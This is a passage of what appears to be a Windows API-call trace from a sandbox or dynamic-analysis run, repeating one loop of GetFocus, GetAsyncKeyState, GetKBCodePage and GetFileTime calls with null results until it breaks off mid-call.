lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.488] GetFocus () returned 0x0 [0255.488] GetAsyncKeyState (vKey=58) returned 0 [0255.488] GetKBCodePage () returned 0x1b5 [0255.488] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.488] GetFocus () returned 0x0 [0255.488] GetAsyncKeyState (vKey=58) returned 0 [0255.488] GetKBCodePage () returned 0x1b5 [0255.488] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.488] GetFocus () returned 0x0 [0255.488] GetAsyncKeyState (vKey=58) returned 0 [0255.488] GetKBCodePage () returned 0x1b5 [0255.488] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.488] GetFocus () returned 0x0 [0255.488] GetAsyncKeyState (vKey=58) returned 0 [0255.489] GetKBCodePage () returned 0x1b5 [0255.489] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.489] GetFocus () returned 0x0 [0255.489] GetAsyncKeyState (vKey=58) returned 0 [0255.489] GetKBCodePage () returned 0x1b5 [0255.489] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.489] GetFocus () returned 0x0 [0255.489] GetAsyncKeyState (vKey=58) returned 0 [0255.489] GetKBCodePage () returned 0x1b5 [0255.489] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.489] GetFocus () returned 0x0 [0255.489] GetAsyncKeyState (vKey=58) returned 0 [0255.489] GetKBCodePage () returned 0x1b5 [0255.489] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.489] GetFocus () returned 0x0 [0255.489] GetAsyncKeyState (vKey=58) returned 0 [0255.489] GetKBCodePage () returned 0x1b5 [0255.489] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.489] GetFocus () returned 0x0 [0255.489] GetAsyncKeyState (vKey=58) returned 0 [0255.489] GetKBCodePage () returned 0x1b5 [0255.489] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.489] GetFocus () returned 0x0 [0255.489] GetAsyncKeyState (vKey=58) returned 0 [0255.489] GetKBCodePage () returned 0x1b5 [0255.489] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.489] GetFocus () returned 0x0 [0255.489] GetAsyncKeyState (vKey=58) returned 0 [0255.489] GetKBCodePage () returned 0x1b5 [0255.489] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.489] GetFocus () returned 0x0 [0255.489] GetAsyncKeyState (vKey=58) returned 0 [0255.489] GetKBCodePage () returned 0x1b5 [0255.489] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.489] GetFocus () returned 0x0 [0255.489] GetAsyncKeyState (vKey=58) returned 0 [0255.490] GetKBCodePage () returned 0x1b5 [0255.490] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.490] GetFocus () returned 0x0 [0255.490] GetAsyncKeyState (vKey=58) returned 0 [0255.490] GetKBCodePage () returned 0x1b5 [0255.490] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.490] GetFocus () returned 0x0 [0255.490] GetAsyncKeyState (vKey=58) returned 0 [0255.490] GetKBCodePage () returned 0x1b5 [0255.490] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.490] GetFocus () returned 0x0 [0255.490] GetAsyncKeyState (vKey=58) returned 0 [0255.490] GetKBCodePage () returned 0x1b5 [0255.490] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.490] GetFocus () returned 0x0 [0255.490] GetAsyncKeyState (vKey=58) returned 0 [0255.490] GetKBCodePage () returned 0x1b5 [0255.490] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.490] GetFocus () returned 0x0 [0255.490] GetAsyncKeyState (vKey=58) returned 0 [0255.490] GetKBCodePage () returned 0x1b5 [0255.490] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.490] GetFocus () returned 0x0 [0255.490] GetAsyncKeyState (vKey=58) returned 0 [0255.490] GetKBCodePage () returned 0x1b5 [0255.490] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.490] GetFocus () returned 0x0 [0255.490] GetAsyncKeyState (vKey=58) returned 0 [0255.490] GetKBCodePage () returned 0x1b5 [0255.490] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.490] GetFocus () returned 0x0 [0255.490] GetAsyncKeyState (vKey=58) returned 0 [0255.490] GetKBCodePage () returned 0x1b5 [0255.490] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.491] GetFocus () returned 0x0 [0255.491] GetAsyncKeyState (vKey=58) returned 0 [0255.491] GetKBCodePage () returned 0x1b5 [0255.491] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.491] GetFocus () returned 0x0 [0255.491] GetAsyncKeyState (vKey=58) returned 0 [0255.491] GetKBCodePage () returned 0x1b5 [0255.491] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.491] GetFocus () returned 0x0 [0255.491] GetAsyncKeyState (vKey=58) returned 0 [0255.491] GetKBCodePage () returned 0x1b5 [0255.491] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.491] GetFocus () returned 0x0 [0255.491] GetAsyncKeyState (vKey=58) returned 0 [0255.491] GetKBCodePage () returned 0x1b5 [0255.491] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.491] GetFocus () returned 0x0 [0255.491] GetAsyncKeyState (vKey=58) returned 0 [0255.491] GetKBCodePage () returned 0x1b5 [0255.491] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.491] GetFocus () returned 0x0 [0255.491] GetAsyncKeyState (vKey=58) returned 0 [0255.491] GetKBCodePage () returned 0x1b5 [0255.491] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.491] GetFocus () returned 0x0 [0255.491] GetAsyncKeyState (vKey=58) returned 0 [0255.491] GetKBCodePage () returned 0x1b5 [0255.491] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.491] GetFocus () returned 0x0 [0255.491] GetAsyncKeyState (vKey=58) returned 0 [0255.491] GetKBCodePage () returned 0x1b5 [0255.491] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.491] GetFocus () returned 0x0 [0255.491] GetAsyncKeyState (vKey=58) returned 0 [0255.491] GetKBCodePage () returned 0x1b5 [0255.491] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.492] GetFocus () returned 0x0 [0255.492] GetAsyncKeyState (vKey=58) returned 0 [0255.492] GetKBCodePage () returned 0x1b5 [0255.492] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.492] GetFocus () returned 0x0 [0255.492] GetAsyncKeyState (vKey=58) returned 0 [0255.492] GetKBCodePage () returned 0x1b5 [0255.492] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.492] GetFocus () returned 0x0 [0255.492] GetAsyncKeyState (vKey=58) returned 0 [0255.492] GetKBCodePage () returned 0x1b5 [0255.492] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.492] GetFocus () returned 0x0 [0255.492] GetAsyncKeyState (vKey=58) returned 0 [0255.492] GetKBCodePage () returned 0x1b5 [0255.492] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.492] GetFocus () returned 0x0 [0255.492] GetAsyncKeyState (vKey=58) returned 0 [0255.492] GetKBCodePage () returned 0x1b5 [0255.492] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.492] GetFocus () returned 0x0 [0255.492] GetAsyncKeyState (vKey=58) returned 0 [0255.492] GetKBCodePage () returned 0x1b5 [0255.492] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.492] GetFocus () returned 0x0 [0255.492] GetAsyncKeyState (vKey=58) returned 0 [0255.492] GetKBCodePage () returned 0x1b5 [0255.492] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.492] GetFocus () returned 0x0 [0255.492] GetAsyncKeyState (vKey=58) returned 0 [0255.492] GetKBCodePage () returned 0x1b5 [0255.492] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.492] GetFocus () returned 0x0 [0255.492] GetAsyncKeyState (vKey=58) returned 0 [0255.492] GetKBCodePage () returned 0x1b5 [0255.492] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.493] GetFocus () returned 0x0 [0255.493] GetAsyncKeyState (vKey=58) returned 0 [0255.493] GetKBCodePage () returned 0x1b5 [0255.493] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.493] GetFocus () returned 0x0 [0255.493] GetAsyncKeyState (vKey=58) returned 0 [0255.493] GetKBCodePage () returned 0x1b5 [0255.493] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.493] GetFocus () returned 0x0 [0255.493] GetAsyncKeyState (vKey=58) returned 0 [0255.493] GetKBCodePage () returned 0x1b5 [0255.493] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.493] GetFocus () returned 0x0 [0255.493] GetAsyncKeyState (vKey=58) returned 0 [0255.493] GetKBCodePage () returned 0x1b5 [0255.493] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.493] GetFocus () returned 0x0 [0255.493] GetAsyncKeyState (vKey=58) returned 0 [0255.493] GetKBCodePage () returned 0x1b5 [0255.493] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.493] GetFocus () returned 0x0 [0255.493] GetAsyncKeyState (vKey=58) returned 0 [0255.493] GetKBCodePage () returned 0x1b5 [0255.493] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.493] GetFocus () returned 0x0 [0255.493] GetAsyncKeyState (vKey=58) returned 0 [0255.493] GetKBCodePage () returned 0x1b5 [0255.493] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.493] GetFocus () returned 0x0 [0255.493] GetAsyncKeyState (vKey=58) returned 0 [0255.493] GetKBCodePage () returned 0x1b5 [0255.493] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.494] GetFocus () returned 0x0 [0255.494] GetAsyncKeyState (vKey=58) returned 0 [0255.494] GetKBCodePage () returned 0x1b5 [0255.494] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.494] GetFocus () returned 0x0 [0255.494] GetAsyncKeyState (vKey=58) returned 0 [0255.494] GetKBCodePage () returned 0x1b5 [0255.494] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.494] GetFocus () returned 0x0 [0255.494] GetAsyncKeyState (vKey=58) returned 0 [0255.494] GetKBCodePage () returned 0x1b5 [0255.494] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.494] GetFocus () returned 0x0 [0255.494] GetAsyncKeyState (vKey=58) returned 0 [0255.494] GetKBCodePage () returned 0x1b5 [0255.494] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.494] GetFocus () returned 0x0 [0255.494] GetAsyncKeyState (vKey=58) returned 0 [0255.494] GetKBCodePage () returned 0x1b5 [0255.494] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, 